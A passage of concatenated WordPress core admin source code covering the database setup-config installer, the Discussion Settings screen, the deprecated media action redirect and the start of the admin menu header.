if ( @file_exists( ABSPATH . '../wp-config.php' ) && ! @file_exists( ABSPATH . '../wp-settings.php' ) ) {
	wp_die(
		'<p>' . sprintf(
			/* translators: 1: wp-config.php, 2: install.php */
			__( 'The file %1$s already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href="%2$s">installing now</a>.' ),
			'<code>wp-config.php</code>',
			'install.php'
		) . '</p>',
		409
	);
}

$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : -1;

/**
 * Display setup wp-config.php file header.
 *
 * @ignore
 * @since 2.3.0
 *
 * @param string|string[] $body_classes Class attribute values for the body tag.
 */
function setup_config_display_header( $body_classes = array() ) {
	$body_classes   = (array) $body_classes;
	$body_classes[] = 'wp-core-ui';
	$dir_attr       = '';
	if ( is_rtl() ) {
		$body_classes[] = 'rtl';
		$dir_attr       = ' dir="rtl"';
	}

	header( 'Content-Type: text/html; charset=utf-8' );
	?>
<!DOCTYPE html>
<html<?php echo $dir_attr; ?>>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="robots" content="noindex,nofollow" />
	<title><?php _e( 'WordPress &rsaquo; Setup Configuration File' ); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="<?php echo implode( ' ', $body_classes ); ?>">
<p id="logo"><?php _e( 'WordPress' ); ?></p>
	<?php
} // End function setup_config_display_header();

/**
 * @global string    $wp_local_package Locale code of the package.
 * @global WP_Locale $wp_locale        WordPress date and time locale object.
 */
$language = '';
if ( ! empty( $_REQUEST['language'] ) ) {
	$language = preg_replace( '/[^a-zA-Z0-9_]/', '', $_REQUEST['language'] );
} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
	$language = $GLOBALS['wp_local_package'];
}

switch ( $step ) {
	case -1:
		if ( wp_can_install_language_pack() && empty( $language ) ) {
			$languages = wp_get_available_translations();
			if ( $languages ) {
				setup_config_display_header( 'language-chooser' );
				echo '<h1 class="screen-reader-text">Select a default language</h1>';
				echo '<form id="setup" method="post" action="?step=0">';
				wp_install_language_form( $languages );
				echo '</form>';
				break;
			}
		}

		// Deliberately fall through if we can't reach the translations API.

	case 0:
		if ( ! empty( $language ) ) {
			$loaded_language = wp_download_language_pack( $language );
			if ( $loaded_language ) {
				load_default_textdomain( $loaded_language );
				$GLOBALS['wp_locale'] = new WP_Locale();
			}
		}

		setup_config_display_header();
		$step_1 = 'setup-config.php?step=1';
		if ( isset( $_REQUEST['noapi'] ) ) {
			$step_1 .= '&amp;noapi';
		}
		if ( ! empty( $loaded_language ) ) {
			$step_1 .= '&amp;language=' . $loaded_language;
		}
		?>
<h1 class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Before getting started' );
		?>
</h1>
<p><?php _e( 'Welcome to WordPress. Before getting started, you will need to know the following items.' ); ?></p>
<ol>
	<li><?php _e( 'Database name' ); ?></li>
	<li><?php _e( 'Database username' ); ?></li>
	<li><?php _e( 'Database password' ); ?></li>
	<li><?php _e( 'Database host' ); ?></li>
	<li><?php _e( 'Table prefix (if you want to run more than one WordPress in a single database)' ); ?></li>
</ol>
<p>
		<?php
		printf(
			/* translators: %s: wp-config.php */
			__( 'This information is being used to create a %s file.' ),
			'<code>wp-config.php</code>'
		);
		?>
	<strong>
		<?php
		printf(
			/* translators: 1: wp-config-sample.php, 2: wp-config.php */
			__( 'If for any reason this automatic file creation does not work, do not worry. All this does is fill in the database information to a configuration file. You may also simply open %1$s in a text editor, fill in your information, and save it as %2$s.' ),
			'<code>wp-config-sample.php</code>',
			'<code>wp-config.php</code>'
		);
		?>
	</strong>
		<?php
		printf(
			/* translators: 1: Documentation URL, 2: wp-config.php */
			__( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ),
			__( 'https://wordpress.org/documentation/article/editing-wp-config-php/' ),
			'<code>wp-config.php</code>'
		);
		?>
</p>
<p><?php _e( 'In all likelihood, these items were supplied to you by your web host. If you do not have this information, then you will need to contact them before you can continue. If you are ready&hellip;' ); ?></p>

<p class="step"><a href="<?php echo $step_1; ?>" class="button button-large"><?php _e( 'Let&#8217;s go!' ); ?></a></p>
		<?php
		break;

	case 1:
		load_default_textdomain( $language );
		$GLOBALS['wp_locale'] = new WP_Locale();

		setup_config_display_header();

		$autofocus = wp_is_mobile() ? '' : ' autofocus';
		?>
<h1 class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Set up your database connection' );
		?>
</h1>
<form method="post" action="setup-config.php?step=2">
	<p><?php _e( 'Below you should enter your database connection details. If you are not sure about these, contact your host.' ); ?></p>
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="dbname"><?php _e( 'Database Name' ); ?></label></th>
			<td><input name="dbname" id="dbname" type="text" aria-describedby="dbname-desc" size="25" placeholder="wordpress"<?php echo $autofocus; ?>/>
			<p id="dbname-desc"><?php _e( 'The name of the database you want to use with WordPress.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><label for="uname"><?php _e( 'Username' ); ?></label></th>
			<td><input name="uname" id="uname" type="text" aria-describedby="uname-desc" size="25" placeholder="<?php echo htmlspecialchars( _x( 'username', 'example username' ), ENT_QUOTES ); ?>" />
			<p id="uname-desc"><?php _e( 'Your database username.' ); ?></p></td>
		</tr>
		<tr>
			<th scope="row"><label for="pwd"><?php _e( 'Password' ); ?></label></th>
			<td>
				<div class="wp-pwd">
					<input name="pwd" id="pwd" type="password" class="regular-text" data-reveal="1" aria-describedby="pwd-desc" size="25" placeholder="<?php echo htmlspecialchars( _x( 'password', 'example password' ), ENT_QUOTES ); ?>" autocomplete="off" spellcheck="false" />
					<button type="button" class="button pwd-toggle hide-if-no-js" data-toggle="0" data-start-masked="1" aria-label="<?php esc_attr_e( 'Show password' ); ?>">
						<span class="dashicons dashicons-visibility"></span>
						<span class="text"><?php _e( 'Show' ); ?></span>
					</button>
				</div>
				<p id="pwd-desc"><?php _e( 'Your database password.' ); ?></p>
			</td>
		</tr>
		<tr>
			<th scope="row"><label for="dbhost"><?php _e( 'Database Host' ); ?></label></th>
			<td><input name="dbhost" id="dbhost" type="text" aria-describedby="dbhost-desc" size="25" value="localhost" />
			<p id="dbhost-desc">
			<?php
				/* translators: %s: localhost */
				printf( __( 'You should be able to get this info from your web host, if %s does not work.' ), '<code>localhost</code>' );
			?>
			</p></td>
		</tr>
		<tr>
			<th scope="row"><label for="prefix"><?php _e( 'Table Prefix' ); ?></label></th>
			<td><input name="prefix" id="prefix" type="text" aria-describedby="prefix-desc" value="wp_" size="25" />
			<p id="prefix-desc"><?php _e( 'If you want to run multiple WordPress installations in a single database, change this.' ); ?></p></td>
		</tr>
	</table>
		<?php
		if ( isset( $_GET['noapi'] ) ) {
			?>
<input name="noapi" type="hidden" value="1" /><?php } ?>
	<input type="hidden" name="language" value="<?php echo esc_attr( $language ); ?>" />
	<p class="step"><input name="submit" type="submit" value="<?php echo htmlspecialchars( __( 'Submit' ), ENT_QUOTES ); ?>" class="button button-large" /></p>
</form>
		<?php
		wp_print_scripts( 'password-toggle' );
		break;

	case 2:
		load_default_textdomain( $language );
		$GLOBALS['wp_locale'] = new WP_Locale();

		$dbname = trim( wp_unslash( $_POST['dbname'] ) );
		$uname  = trim( wp_unslash( $_POST['uname'] ) );
		$pwd    = trim( wp_unslash( $_POST['pwd'] ) );
		$dbhost = trim( wp_unslash( $_POST['dbhost'] ) );
		$prefix = trim( wp_unslash( $_POST['prefix'] ) );

		$step_1  = 'setup-config.php?step=1';
		$install = 'install.php';
		if ( isset( $_REQUEST['noapi'] ) ) {
			$step_1 .= '&amp;noapi';
		}

		if ( ! empty( $language ) ) {
			$step_1  .= '&amp;language=' . $language;
			$install .= '?language=' . $language;
		} else {
			$install .= '?language=en_US';
		}

		$tryagain_link = '</p><p class="step"><a href="' . $step_1 . '" onclick="javascript:history.go(-1);return false;" class="button button-large">' . __( 'Try Again' ) . '</a>';

		if ( empty( $prefix ) ) {
			wp_die( __( '<strong>Error:</strong> "Table Prefix" must not be empty.' ) . $tryagain_link );
		}

		// Validate $prefix: it can only contain letters, numbers and underscores.
		if ( preg_match( '|[^a-z0-9_]|i', $prefix ) ) {
			wp_die( __( '<strong>Error:</strong> "Table Prefix" can only contain numbers, letters, and underscores.' ) . $tryagain_link );
		}

		// Test the DB connection.
		/**#@+
		 *
		 * @ignore
		 */
		define( 'DB_NAME', $dbname );
		define( 'DB_USER', $uname );
		define( 'DB_PASSWORD', $pwd );
		define( 'DB_HOST', $dbhost );
		/**#@-*/

		// Re-construct $wpdb with these new values.
		unset( $wpdb );
		require_wp_db();

		/*
		* The wpdb constructor bails when WP_SETUP_CONFIG is set, so we must
		* fire this manually. We'll fail here if the values are no good.
		*/
		$wpdb->db_connect();

		if ( ! empty( $wpdb->error ) ) {
			wp_die( $wpdb->error->get_error_message() . $tryagain_link );
		}

		$errors = $wpdb->suppress_errors();
		$wpdb->query( "SELECT $prefix" );
		$wpdb->suppress_errors( $errors );

		if ( ! $wpdb->last_error ) {
			// MySQL was able to parse the prefix as a value, which we don't want. Bail.
			wp_die( __( '<strong>Error:</strong> "Table Prefix" is invalid.' ) );
		}

		// Generate keys and salts using secure CSPRNG; fallback to API if enabled; further fallback to original wp_generate_password().
		try {
			$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
			$max   = strlen( $chars ) - 1;
			for ( $i = 0; $i < 8; $i++ ) {
				$key = '';
				for ( $j = 0; $j < 64; $j++ ) {
					$key .= substr( $chars, random_int( 0, $max ), 1 );
				}
				$secret_keys[] = $key;
			}
		} catch ( Exception $ex ) {
			$no_api = isset( $_POST['noapi'] );

			if ( ! $no_api ) {
				$secret_keys = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
			}

			if ( $no_api || is_wp_error( $secret_keys ) ) {
				$secret_keys = array();
				for ( $i = 0; $i < 8; $i++ ) {
					$secret_keys[] = wp_generate_password( 64, true, true );
				}
			} else {
				$secret_keys = explode( "\n", wp_remote_retrieve_body( $secret_keys ) );
				foreach ( $secret_keys as $k => $v ) {
					$secret_keys[ $k ] = substr( $v, 28, 64 );
				}
			}
		}

		$key = 0;
		foreach ( $config_file as $line_num => $line ) {
			if ( str_starts_with( $line, '$table_prefix =' ) ) {
				$config_file[ $line_num ] = '$table_prefix = \'' . addcslashes( $prefix, "\\'" ) . "';\r\n";
				continue;
			}

			if ( ! preg_match( '/^define\(\s*\'([A-Z_]+)\',([ ]+)/', $line, $match ) ) {
				continue;
			}

			$constant = $match[1];
			$padding  = $match[2];

			switch ( $constant ) {
				case 'DB_NAME':
				case 'DB_USER':
				case 'DB_PASSWORD':
				case 'DB_HOST':
					$config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'" . addcslashes( constant( $constant ), "\\'" ) . "' );\r\n";
					break;
				case 'DB_CHARSET':
					if ( 'utf8mb4' === $wpdb->charset || ( ! $wpdb->charset && $wpdb->has_cap( 'utf8mb4' ) ) ) {
						$config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'utf8mb4' );\r\n";
					}
					break;
				case 'AUTH_KEY':
				case 'SECURE_AUTH_KEY':
				case 'LOGGED_IN_KEY':
				case 'NONCE_KEY':
				case 'AUTH_SALT':
				case 'SECURE_AUTH_SALT':
				case 'LOGGED_IN_SALT':
				case 'NONCE_SALT':
					$config_file[ $line_num ] = "define( '" . $constant . "'," . $padding . "'" . $secret_keys[ $key++ ] . "' );\r\n";
					break;
			}
		}
		unset( $line );

		if ( ! is_writable( ABSPATH ) ) :
			setup_config_display_header();
			?>
<p>
			<?php
			/* translators: %s: wp-config.php */
			printf( __( 'Unable to write to %s file.' ), '<code>wp-config.php</code>' );
			?>
</p>
<p id="wp-config-description">
			<?php
			/* translators: %s: wp-config.php */
			printf( __( 'You can create the %s file manually and paste the following text into it.' ), '<code>wp-config.php</code>' );

			$config_text = '';

			foreach ( $config_file as $line ) {
				$config_text .= htmlentities( $line, ENT_COMPAT, 'UTF-8' );
			}
			?>
</p>
<p class="configuration-rules-label"><label for="wp-config">
			<?php
			/* translators: %s: wp-config.php */
			printf( __( 'Configuration rules for %s:' ), '<code>wp-config.php</code>' );
			?>
	</label></p>
<textarea id="wp-config" cols="98" rows="15" class="code" readonly="readonly" aria-describedby="wp-config-description"><?php echo $config_text; ?></textarea>
<p><?php _e( 'After you&#8217;ve done that, click &#8220;Run the installation&#8221;.' ); ?></p>
<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the installation' ); ?></a></p>
<script>
(function(){
if ( ! /iPad|iPod|iPhone/.test( navigator.userAgent ) ) {
	var el = document.getElementById('wp-config');
	el.focus();
	el.select();
}
})();
</script>
			<?php
		else :
			/*
			 * If this file doesn't exist, then we are using the wp-config-sample.php
			 * file one level up, which is for the develop repo.
			 */
			if ( file_exists( ABSPATH . 'wp-config-sample.php' ) ) {
				$path_to_wp_config = ABSPATH . 'wp-config.php';
			} else {
				$path_to_wp_config = dirname( ABSPATH ) . '/wp-config.php';
			}

			$error_message = '';
			$handle        = fopen( $path_to_wp_config, 'w' );
			/*
			 * Why check for the absence of false instead of checking for resource with is_resource()?
			 * To future-proof the check for when fopen returns object instead of resource, i.e. a known
			 * change coming in PHP.
			 */
			if ( false !== $handle ) {
				foreach ( $config_file as $line ) {
					fwrite( $handle, $line );
				}
				fclose( $handle );
			} else {
				$wp_config_perms = fileperms( $path_to_wp_config );
				if ( ! empty( $wp_config_perms ) && ! is_writable( $path_to_wp_config ) ) {
					$error_message = sprintf(
						/* translators: 1: wp-config.php, 2: Documentation URL. */
						__( 'You need to make the file %1$s writable before you can save your changes. See <a href="%2$s">Changing File Permissions</a> for more information.' ),
						'<code>wp-config.php</code>',
						__( 'https://wordpress.org/documentation/article/changing-file-permissions/' )
					);
				} else {
					$error_message = sprintf(
						/* translators: %s: wp-config.php */
						__( 'Unable to write to %s file.' ),
						'<code>wp-config.php</code>'
					);
				}
			}

			chmod( $path_to_wp_config, 0666 );
			setup_config_display_header();

			if ( false !== $handle ) :
				?>
<h1 class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Successful database connection' );
				?>
</h1>
<p><?php _e( 'All right, sparky! You&#8217;ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to&hellip;' ); ?></p>

<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the installation' ); ?></a></p>
				<?php
			else :
				printf( '<p>%s</p>', $error_message );
			endif;
		endif;
		break;
} // End of the steps switch.
?>
<?php wp_print_scripts( 'language-chooser' ); ?>
</body>
</html>
<?php
/**
 * Discussion settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */
/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Discussion Settings' );
$parent_file = 'options-general.php';

add_action( 'admin_print_footer_scripts', 'options_discussion_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they will not all fit here! :) Use the documentation links to get information on what each discussion setting does.' ) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-discussion-screen/">Documentation on Discussion Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form method="post" action="options.php">
<?php settings_fields( 'discussion' ); ?>

<table class="form-table" role="presentation">
<tr>
<th scope="row"><?php _e( 'Default post settings' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Default post settings' );
	?>
</span></legend>
<label for="default_pingback_flag">
<input name="default_pingback_flag" type="checkbox" id="default_pingback_flag" value="1" <?php checked( '1', get_option( 'default_pingback_flag' ) ); ?> />
<?php _e( 'Attempt to notify any blogs linked to from the post' ); ?></label>
<br />
<label for="default_ping_status">
<input name="default_ping_status" type="checkbox" id="default_ping_status" value="open" <?php checked( 'open', get_option( 'default_ping_status' ) ); ?> />
<?php _e( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new posts' ); ?></label>
<br />
<label for="default_comment_status">
<input name="default_comment_status" type="checkbox" id="default_comment_status" value="open" <?php checked( 'open', get_option( 'default_comment_status' ) ); ?> />
<?php _e( 'Allow people to submit comments on new posts' ); ?></label>
<br />
<p class="description"><?php _e( 'Individual posts may override these settings. Changes here will only be applied to new posts.' ); ?></p>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Other comment settings' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Other comment settings' );
	?>
</span></legend>
<label for="require_name_email"><input type="checkbox" name="require_name_email" id="require_name_email" value="1" <?php checked( '1', get_option( 'require_name_email' ) ); ?> /> <?php _e( 'Comment author must fill out name and email' ); ?></label>
<br />
<label for="comment_registration">
<input name="comment_registration" type="checkbox" id="comment_registration" value="1" <?php checked( '1', get_option( 'comment_registration' ) ); ?> />
<?php _e( 'Users must be registered and logged in to comment' ); ?>
<?php
if ( ! get_option( 'users_can_register' ) && is_multisite() ) {
	echo ' ' . __( '(Signup has been disabled. Only members of this site can comment.)' );
}
?>
</label>
<br />

<label for="close_comments_for_old_posts">
<input name="close_comments_for_old_posts" type="checkbox" id="close_comments_for_old_posts" value="1" <?php checked( '1', get_option( 'close_comments_for_old_posts' ) ); ?> />
<?php
printf(
	/* translators: %s: Number of days. */
	__( 'Automatically close comments on posts older than %s days' ),
	'</label> <label for="close_comments_days_old"><input name="close_comments_days_old" type="number" min="0" step="1" id="close_comments_days_old" value="' . esc_attr( get_option( 'close_comments_days_old' ) ) . '" class="small-text" />'
);
?>
</label>
<br />

<label for="show_comments_cookies_opt_in">
<input name="show_comments_cookies_opt_in" type="checkbox" id="show_comments_cookies_opt_in" value="1" <?php checked( '1', get_option( 'show_comments_cookies_opt_in' ) ); ?> />
<?php _e( 'Show comments cookies opt-in checkbox, allowing comment author cookies to be set' ); ?>
</label>
<br />

<label for="thread_comments">
<input name="thread_comments" type="checkbox" id="thread_comments" value="1" <?php checked( '1', get_option( 'thread_comments' ) ); ?> />
<?php
/**
 * Filters the maximum depth of threaded/nested comments.
 *
 * @since 2.7.0
 *
 * @param int $max_depth The maximum depth of threaded comments. Default 10.
 */
$maxdeep = (int) apply_filters( 'thread_comments_depth_max', 10 );

$thread_comments_depth = '</label> <label for="thread_comments_depth"><select name="thread_comments_depth" id="thread_comments_depth">';
for ( $i = 2; $i <= $maxdeep; $i++ ) {
	$thread_comments_depth .= "<option value='" . esc_attr( $i ) . "'";
	if ( (int) get_option( 'thread_comments_depth' ) === $i ) {
		$thread_comments_depth .= " selected='selected'";
	}
	$thread_comments_depth .= ">$i</option>";
}
$thread_comments_depth .= '</select>';

/* translators: %s: Number of levels. */
printf( __( 'Enable threaded (nested) comments %s levels deep' ), $thread_comments_depth );

?>
</label>
<br />
<label for="page_comments">
<input name="page_comments" type="checkbox" id="page_comments" value="1" <?php checked( '1', get_option( 'page_comments' ) ); ?> />
<?php
$default_comments_page = '</label> <label for="default_comments_page"><select name="default_comments_page" id="default_comments_page"><option value="newest"';
if ( 'newest' === get_option( 'default_comments_page' ) ) {
	$default_comments_page .= ' selected="selected"';
}
$default_comments_page .= '>' . __( 'last' ) . '</option><option value="oldest"';
if ( 'oldest' === get_option( 'default_comments_page' ) ) {
	$default_comments_page .= ' selected="selected"';
}
$default_comments_page .= '>' . __( 'first' ) . '</option></select>';
printf(
	/* translators: 1: Form field control for number of top level comments per page, 2: Form field control for the 'first' or 'last' page. */
	__( 'Break comments into pages with %1$s top level comments per page and the %2$s page displayed by default' ),
	'</label> <label for="comments_per_page"><input name="comments_per_page" type="number" step="1" min="0" id="comments_per_page" value="' . esc_attr( get_option( 'comments_per_page' ) ) . '" class="small-text" />',
	$default_comments_page
);
?>
</label>
<br />
<label for="comment_order">
<?php

$comment_order = '<select name="comment_order" id="comment_order"><option value="asc"';
if ( 'asc' === get_option( 'comment_order' ) ) {
	$comment_order .= ' selected="selected"';
}
$comment_order .= '>' . __( 'older' ) . '</option><option value="desc"';
if ( 'desc' === get_option( 'comment_order' ) ) {
	$comment_order .= ' selected="selected"';
}
$comment_order .= '>' . __( 'newer' ) . '</option></select>';

/* translators: %s: Form field control for 'older' or 'newer' comments. */
printf( __( 'Comments should be displayed with the %s comments at the top of each page' ), $comment_order );

?>
</label>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Email me whenever' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Email me whenever' );
	?>
</span></legend>
<label for="comments_notify">
<input name="comments_notify" type="checkbox" id="comments_notify" value="1" <?php checked( '1', get_option( 'comments_notify' ) ); ?> />
<?php _e( 'Anyone posts a comment' ); ?> </label>
<br />
<label for="moderation_notify">
<input name="moderation_notify" type="checkbox" id="moderation_notify" value="1" <?php checked( '1', get_option( 'moderation_notify' ) ); ?> />
<?php _e( 'A comment is held for moderation' ); ?> </label>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Before a comment appears' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Before a comment appears' );
	?>
</span></legend>
<label for="comment_moderation">
<input name="comment_moderation" type="checkbox" id="comment_moderation" value="1" <?php checked( '1', get_option( 'comment_moderation' ) ); ?> />
<?php _e( 'Comment must be manually approved' ); ?> </label>
<br />
<label for="comment_previously_approved"><input type="checkbox" name="comment_previously_approved" id="comment_previously_approved" value="1" <?php checked( '1', get_option( 'comment_previously_approved' ) ); ?> /> <?php _e( 'Comment author must have a previously approved comment' ); ?></label>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Comment Moderation' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment Moderation' );
	?>
</span></legend>
<p><label for="comment_max_links">
<?php
printf(
	/* translators: %s: Number of links. */
	__( 'Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)' ),
	'<input name="comment_max_links" type="number" step="1" min="0" id="comment_max_links" value="' . esc_attr( get_option( 'comment_max_links' ) ) . '" class="small-text" />'
);
?>
</label></p>

<p><label for="moderation_keys"><?php _e( 'When a comment contains any of these words in its content, author name, URL, email, IP address, or browser&#8217;s user agent string, it will be held in the <a href="edit-comments.php?comment_status=moderated">moderation queue</a>. One word or IP address per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.' ); ?></label></p>
<p>
<textarea name="moderation_keys" rows="10" cols="50" id="moderation_keys" class="large-text code"><?php echo esc_textarea( get_option( 'moderation_keys' ) ); ?></textarea>
</p>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Disallowed Comment Keys' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Disallowed Comment Keys' );
	?>
</span></legend>
<p><label for="disallowed_keys"><?php _e( 'When a comment contains any of these words in its content, author name, URL, email, IP address, or browser&#8217;s user agent string, it will be put in the Trash. One word or IP address per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.' ); ?></label></p>
<p>
<textarea name="disallowed_keys" rows="10" cols="50" id="disallowed_keys" class="large-text code"><?php echo esc_textarea( get_option( 'disallowed_keys' ) ); ?></textarea>
</p>
</fieldset></td>
</tr>
<?php do_settings_fields( 'discussion', 'default' ); ?>
</table>

<h2 class="title"><?php _e( 'Avatars' ); ?></h2>

<p><?php _e( 'An avatar is an image that can be associated with a user across multiple websites. In this area, you can choose to display avatars of users who interact with the site.' ); ?></p>

<?php
// The above would be a good place to link to the documentation on the Gravatar functions, for putting it in themes. Anything like that?

$show_avatars       = get_option( 'show_avatars' );
$show_avatars_class = '';
if ( ! $show_avatars ) {
	$show_avatars_class = ' hide-if-js';
}
?>

<table class="form-table" role="presentation">
<tr>
<th scope="row"><?php _e( 'Avatar Display' ); ?></th>
<td>
	<label for="show_avatars">
		<input type="checkbox" id="show_avatars" name="show_avatars" value="1" <?php checked( $show_avatars, 1 ); ?> />
		<?php _e( 'Show Avatars' ); ?>
	</label>
</td>
</tr>
<tr class="avatar-settings<?php echo $show_avatars_class; ?>">
<th scope="row"><?php _e( 'Maximum Rating' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Maximum Rating' );
	?>
</span></legend>

<?php
$ratings = array(
	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
	'G'  => __( 'G &#8212; Suitable for all audiences' ),
	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
	'PG' => __( 'PG &#8212; Possibly offensive, usually for audiences 13 and above' ),
	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
	'R'  => __( 'R &#8212; Intended for adult audiences above 17' ),
	/* translators: Content suitability rating: https://en.wikipedia.org/wiki/Motion_Picture_Association_of_America_film_rating_system */
	'X'  => __( 'X &#8212; Even more mature than above' ),
);
foreach ( $ratings as $key => $rating ) :
	$selected = ( get_option( 'avatar_rating' ) === $key ) ? 'checked="checked"' : '';
	echo "\n\t<label><input type='radio' name='avatar_rating' value='" . esc_attr( $key ) . "' $selected/> $rating</label><br />";
endforeach;
?>

</fieldset></td>
</tr>
<tr class="avatar-settings<?php echo $show_avatars_class; ?>">
<th scope="row"><?php _e( 'Default Avatar' ); ?></th>
<td class="defaultavatarpicker"><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Default Avatar' );
	?>
</span></legend>

<p>
<?php _e( 'For users without a custom avatar of their own, you can either display a generic logo or a generated one based on their email address.' ); ?><br />
</p>

<?php
$avatar_defaults = array(
	'mystery'          => __( 'Mystery Person' ),
	'blank'            => __( 'Blank' ),
	'gravatar_default' => __( 'Gravatar Logo' ),
	'identicon'        => __( 'Identicon (Generated)' ),
	'wavatar'          => __( 'Wavatar (Generated)' ),
	'monsterid'        => __( 'MonsterID (Generated)' ),
	'retro'            => __( 'Retro (Generated)' ),
	'robohash'         => __( 'RoboHash (Generated)' ),
);
/**
 * Filters the default avatars.
 *
 * Avatars are stored in key/value pairs, where the key is option value,
 * and the name is the displayed avatar name.
 *
 * @since 2.6.0
 *
 * @param string[] $avatar_defaults Associative array of default avatars.
 */
$avatar_defaults = apply_filters( 'avatar_defaults', $avatar_defaults );
$default         = get_option( 'avatar_default', 'mystery' );
$avatar_list     = '';

// Force avatars on to display these choices.
add_filter( 'pre_option_show_avatars', '__return_true', 100 );

foreach ( $avatar_defaults as $default_key => $default_name ) {
	$selected     = ( $default === $default_key ) ? 'checked="checked" ' : '';
	$avatar_list .= "\n\t<label><input type='radio' name='avatar_default' id='avatar_{$default_key}' value='" . esc_attr( $default_key ) . "' {$selected}/> ";
	$avatar_list .= get_avatar( $user_email, 32, $default_key, '', array( 'force_default' => true ) );
	$avatar_list .= ' ' . $default_name . '</label>';
	$avatar_list .= '<br />';
}

remove_filter( 'pre_option_show_avatars', '__return_true', 100 );

/**
 * Filters the HTML output of the default avatar list.
 *
 * @since 2.6.0
 *
 * @param string $avatar_list HTML markup of the avatar list.
 */
echo apply_filters( 'default_avatar_select', $avatar_list );
?>

</fieldset></td>
</tr>
<?php do_settings_fields( 'discussion', 'avatars' ); ?>
</table>

<?php do_settings_sections( 'discussion' ); ?>

<?php submit_button(); ?>
</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Media management action handler.
 *
 * This file is deprecated, use 'wp-admin/upload.php' instead.
 *
 * @deprecated 6.3.0
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap. */
require_once __DIR__ . '/admin.php';

$parent_file  = 'upload.php';
$submenu_file = 'upload.php';

wp_reset_vars( array( 'action' ) );

switch ( $action ) {
	case 'editattachment':
	case 'edit':
		if ( empty( $_GET['attachment_id'] ) ) {
			wp_redirect( admin_url( 'upload.php?error=deprecated' ) );
			exit;
		}
		$att_id = (int) $_GET['attachment_id'];

		wp_redirect( admin_url( "upload.php?item={$att_id}&error=deprecated" ) );
		exit;

	default:
		wp_redirect( admin_url( 'upload.php?error=deprecated' ) );
		exit;
}
<?php
/**
 * Displays Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The current page.
 *
 * @global string $self
 */
$self = preg_replace( '|^.*/wp-admin/network/|i', '', $_SERVER['PHP_SELF'] );
$self = preg_replace( '|^.*/wp-admin/|i', '', $self );
$self = preg_replace( '|^.*/plugins/|i', '', $self );
$self = preg_replace( '|^.*/mu-plugins/|i', '', $self );

/**
 * For when admin-header is included from within a function.
 *
 * @global array  $menu
 * @global array  $submenu
 * @global string $parent_file
 * @global string $submenu_file
 */
